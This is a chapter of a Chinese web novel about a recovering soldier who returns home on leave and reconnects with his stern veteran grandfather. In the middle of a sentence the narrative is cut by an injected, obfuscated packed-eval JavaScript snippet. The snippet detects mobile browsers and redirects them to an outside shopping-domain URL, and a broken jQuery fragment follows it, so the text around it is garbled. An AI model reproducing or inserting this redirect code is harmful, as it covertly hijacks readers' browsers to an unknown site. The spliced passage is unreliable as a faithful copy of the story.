肩膀上的伤，养了一个多礼拜就结痂了，新肉长出来的时候痒痒的，许昌和总想隔着纱布去挠，每次手伸过去又缩回来。
去换药时，卫生员说：“你这恢复得挺快，别人这种口子至少半个月。”
许昌和说：“可能底子好。”
卫生员笑了一声：“你刚来那会儿跑三公里倒了，底子可没看出来。”
许昌和笑了笑没接话，撸下袖子盖住纱布。
卫生员收拾药箱走了，他坐在医务室的床上发了会儿呆，底子确实不是他的，但现在是了。
那段时间，老许每天都帮他在操场上认真训练，从里到外重新捏了一遍这副骨头架子，他低头看着自己的手臂，不像老许那般粗壮，但那上面有了一层浅浅的肌肉线条，纱布白白的贴在皮肤上，边缘有一圈碘伏染的黄印子。
张皓铠来叫他吃饭，他正站在镜子前面看自己的肩膀。
张皓铠推门进来：“走吧，今天有红烧鱼。”
“来了。”
他们往食堂走，秋天的风已经冷了，吹在脸上干爽爽的。
张皓铠走两步搓一下手，嘴里呼出白气：“都快冬天了，今年冷得早。”
许昌和“嗯”了一声。
掀开食堂门帘那一刻，一股裹着饭菜香味的热气扑过来，他吸了一口，肚子咕噜叫了一声。
张皓铠听见了哈哈笑：“饿了吧，走吧走吧。”
吃完饭回宿舍的路上碰见指导员，指导员把他叫到一边问：“你伤好得差不多了吧？过两天有个探亲假名额，你回趟家吧。”
许昌和愣了一下：“现在？”
“年底了，趁演习完这段时间轮着休。你入伍到现在还没回去过吧？”
“没。”
“那正好，批你一周假，回去看看家里。”指导员拍了一下他没受伤的肩膀，“表现不错，继续加油。”
许昌和站在走廊里看着指导员走远，才反应过来。
探亲假，回家。
他掏出手机看了一眼日期，入伍快四个月了。
这四个月里他过了两种人生，一种是在老许身体里的，一种是在自己身体里。
可不管是哪种，他都没有回过老院，见那个老榆树底下坐着的人。
晚上，许昌和开始收拾东西，张皓铠问：“你明天就回？”
“嗯。”
“羡慕死我了，我也想回家吃我妈做的饭。”
“回来给你带。”
“你说的啊。”张皓铠缩回去了，过了一会儿又探下来，“诶，你回去见你爷爷，怕不怕？”
许昌和叠好的衣服放进包里：“怕什么。”
“你之前不是说你爷管你管得严吗？”
“以前怕现在不怕了。”
“哈哈哈，当兵给你当硬气了。”
“我爷爷可是老兵，我才是新兵蛋子。”
张皓铠看着他把包放在床尾，缩回去了没再问。
第二天一早，许昌和背着包上了回家的火车，靠在车窗边，看着外面的田野往后滑，麦苗绿绿的铺了一地。
他想起几个月前来的时候也是靠窗坐，那时他满脑子想的都是“终于不用跑了”，现在他坐同一趟车回去，心里装的东西不一样了。
火车晃了五个多小时到站，许昌和下了车转公交，公交又晃晃悠悠开到镇上。
他在镇口下了车，天已经偏西了，站在那个熟悉的路口，左右看了看。
随后，许昌和背着包顺着巷子往里走，走到老院门口，门虚掩着，门板上贴的对联褪了色只剩一圈粉红的边，他伸手推了一下木门。
院子里那棵老榆树还在，叶子落了大半，剩下那些也黄了，树底下没人，石桌上放着一只搪瓷缸子，盖着盖，旁边搁着半包烟和一把火柴。
许昌和迈步走进院子，看见西厢房的门开着。
孟采筠端着一个搪瓷盆走出来正好撞见他，手里的盆一晃，水泼出去半盆：“昌和？！”
“妈。”
“回来咋不说？”她放下盆，快步走过来，仰头看着他上下打量，一只手摸着他胳膊一只手摸他肩膀，“你瘦了……不对，你好像壮了，这肩膀……”
“妈你别摸了，我肩膀有伤。”
孟采筠手立刻缩回去：“伤哪了？怎么弄的？严重不？”
“演习的时候蹭了一下，早好了。”许昌和往上撸左肩的袖子给她看纱布，“你看，就一层皮，快好了。”
孟采筠盯着那块纱布看了好几秒，伸手轻轻碰了一下边缘又收回去：“疼不疼？”
“早不疼了。”
她眼圈有点红，转身往厨房走：“吃饭了没？我给你做点。”
“好。”
“你爷在后院菜地里呢，他还不知道你回来。”孟采筠在厨房门口回头看了他一眼，笑了笑，“你给他个惊喜。”
许昌和绕过堂屋往后院走，后院几垄菜地整整齐齐的，小白菜和大葱绿油油地铺着。
爷爷背对着他蹲在地头拔草，还是穿那件后背上有一块洗得发白的印子的灰色旧夹克。
许昌和站在后院门口，看着他蹲在那里的背影，宽的肩膀微微弓着，后颈露出来一截，上面的皮肤松松的起了褶。
他开口喊了一声：“爷爷。”
爷爷拔草的手停住了，他慢慢站起来，转过身来，脸上还是那个表情，眉头微微皱着，嘴角往下撇着，他站着没动，把许昌和从头看到脚，又从脚看到头，来来回回看了两遍，沉默了一会儿开口了：“回来了？”
“嗯，休假。”
爷爷把手里那棵草丢在地上，拍了拍手上的泥，从菜畦里走到许昌和面前站住了，两个人隔了不到两步远。
他比许昌和矮了很多，需要微微仰着脸看了一眼他的脸，然后说了一句：“黑了。”
许昌和说：“晒的。”
“也壮了。”
“练的。”
爷爷没再说话，他转回身往菜地走了一步又停住，背对着许昌和说：“进屋吧，你妈做饭了。”
许昌和站在后院门口看着爷爷弓着腰重新蹲下去拔草，那件灰夹克的后背上那块白印子被夕阳照得亮亮的。
爷爷头也不回地说了一句：“愣着干什么，挡光了。”
许昌和笑了一下，转身回屋了。
厨房里，油烟从锅边升起来裹着葱花的香味，他靠在厨房门框上看着他妈的背影，她系了一条围裙，围裙带子在腰后面系了个蝴蝶结。
孟采筠头也不回地说：“你爷说啥了？”
“他说我黑了壮了。”
“你爷嘴硬，他心里高兴着呢。”
许昌和靠在门框上没动，厨房里暖烘烘的热气裹着他，他想起几个月前他翻墙进来偷被子，这间厨房也是这个温度，那时候他缩着脖子溜进来又翻墙跑了，从头到尾都在避着爷爷，而现在的他大大方方地站在厨房门口。
吃饭的时候一家人围着堂屋的圆桌坐，许承志今天部队休假，回来推门看见他愣了一下，然后点了下头坐下了。
爷爷最后一个进的门，洗了手在桌子东边坐下来。
孟采筠和许昌和端了菜一个一个摆上桌，排骨炖土豆、西红柿炒鸡蛋、凉拌黄瓜、一盆紫菜蛋花汤……
许昌和看着那一桌子菜说：“妈你做这么多吃不完。”
“吃不完明天吃。”
许承志给自己倒了半杯白酒，把瓶子往许昌和那边推了推：“你喝不喝？”
许昌和看了爷爷一眼，爷爷正夹了一筷子排骨放进嘴里嚼着，眼皮没抬。
许昌和说：“不喝了，明天再说。”
许承志把瓶子收回去给自己倒了满杯。
饭桌上四个人安安静静地吃了一会儿，孟采筠问了好些部队里的事，吃的怎么样住的怎么样训练累不累。
许昌和一一答了，该说的说该跳的跳。
说到肩膀上的伤时，他爸筷子停了：“怎么弄的？”
“演习的时候蹭了一下，不严重。”
爷爷一直没说话，低头吃饭夹菜，许昌和夹菜时，余光扫了他好几次，他那碗饭快吃完了，喝了两口汤把碗放下了就说：“成绩单收到了。”
许昌和筷子停了一下：“嗯。”
“让你去当兵是对的，我治不了你，总有人治得了你。”
许昌和抬头看着爷爷。
爷爷端着汤碗又喝了一口，脸上没什么表情，但嘴角那根线比平时平了一点，既没有往下撇也没有往上翘。
许昌和说：“还会更好的。”
爷爷没再接话，把汤碗里的底喝了，站起来端着碗去厨房了。
许昌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932603|213647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和看着他走到厨房的背影，胳膊腿走路的样子跟他年轻的时候还是同一个姿势，但背弓了。
许昌和收回视线，低头扒了两口，忽然觉得眼眶有点热，他眨了一下，把那股热压下去了。
吃完饭，许承志去洗碗，他妈坐在客厅看电视，爷爷搬了把竹椅坐在老榆树底下吹风。
许昌和端了一杯热水走出去，在石桌对面的小马扎上坐下来。
天已经黑了，老榆树的枝丫在夜空里张着，像一把撑开的伞骨，头顶有几颗星星亮着，冷冷的白光。
爷孙俩面对面坐着，中间隔着石桌和搪瓷缸子。
爷爷端起缸子喝了一口茶，茶叶梗在缸底晃了晃，他放下缸子：“听说你在部队救了个战友。”
许昌和端着热水杯：“不算救，就是拉了一把。”
“拉了就是救了。”爷爷的目光落在院子门口那棵老榆树的树干上，没看许昌和，“你做得对。”
许昌和拿着热水杯没说话。
夜色把两个人之间的空气填得满满的，安静得能听见老榆树叶子在风里哗啦哗啦地响。
爷爷又喝了一口茶，然后把缸子放在石桌上，站起来往屋里走了两步，又停下来背对着许昌和，他站在那儿沉默了一会儿，说：“我当兵的时候，有个战友，也救过我。”
许昌和拿杯子的手指紧了紧。
“姓许。”爷爷说，“跟我一个姓，给我挡了一枪，他没活下来。”
院子里的风停了一瞬又起了，老榆树的叶子又哗啦哗啦的。
许昌和坐在马扎上仰着头看爷爷的背影，灰色的夹克在月光下泛着一点白，他喉咙里堵了一团东西，张嘴想说什么，发出来的声音有点闷：“他……有家人吗？”
爷爷站了两秒才回答：“有媳妇，怀着孩子。”
许昌和低下头看着杯子里的水，水面映着一点月光晃了晃，他握杯子的手微微发着抖，他用另一只手盖住了那只手，把它们一起压在膝盖上。
爷爷没有回头，迈步进屋了。
门在他身后关上，堂屋的灯光从门缝里挤出来一条细细的亮线。
许昌和一个人坐在老榆树底下，风从树干侧面绕过来绕过他肩膀。
他在那儿坐了很久。
直到孟采筠在屋里喊他名字，他才站起来。
站起来的时候膝盖有点麻，他活动了一下才迈步往屋里走。
路过堂屋，他看见爷爷的房门已经关了，灯从门底缝透出来一条暖黄色的细线。
他回了西厢房。
孟采筠早帮他把床铺好了，蓝底白花的棉被叠得方方正正摆在床头，他坐在床沿上伸手摸了摸被子面，软的，带着一股太阳晒过的味道。
他脱了鞋躺下去，脸埋进被子里吸了一口气，还是那股熟悉的味，那味把一整个秋天都裹进来了。
他闭上眼，老榆树底下爷爷刚才说的那些话还在他耳边转。
那个人替他死了几十年，他替他活了几十年，几十年的分量从那一句话里透出来的时候，许昌和胸口那一块又涌上来一股的暖意，撑得发酸。
他在黑暗里对着天花板说了一句：“老许，你听见了吗？他记着你呢。”
许昌和在家待了五天，头两天他哪儿也没去，就在院子里坐着，帮孟采筠择菜，蹲在后院菜地里帮爷爷拔草。
拔草的时候爷孙俩，隔着一垄小白菜蹲着，谁也不说话，只有土被翻起来和风刮过老榆树顶的声音。
他还去了镇上走一趟，在杂货铺买了包红糖揣进兜里，走回来路过镇口那棵老梧桐，梧桐叶子掉光了，枝丫光秃秃地伸着。
第五天早上，他收拾东西准备回部队，孟采筠往他包里塞了两罐辣椒酱和一袋炸好的酥肉。
许昌和说：“妈，包塞不下了。”
“那就少带两件衣服。”
他只好把一件外套拿出来了。
爷爷那天站在院子里看着他把包背好，说了句：“路上慢点。”
许昌和说：“好。”
爷爷还站在老榆树底下，两手背在身后，腰板挺着，那双眼睛看着他，没有以前那种失望了，就是安安静静地看着他。
许昌和转回去迈步走了。
巷口的风带着干冷的劲儿，他拉拉链拉到了顶，竖起来的领子挡住了脖子，暖和了许多。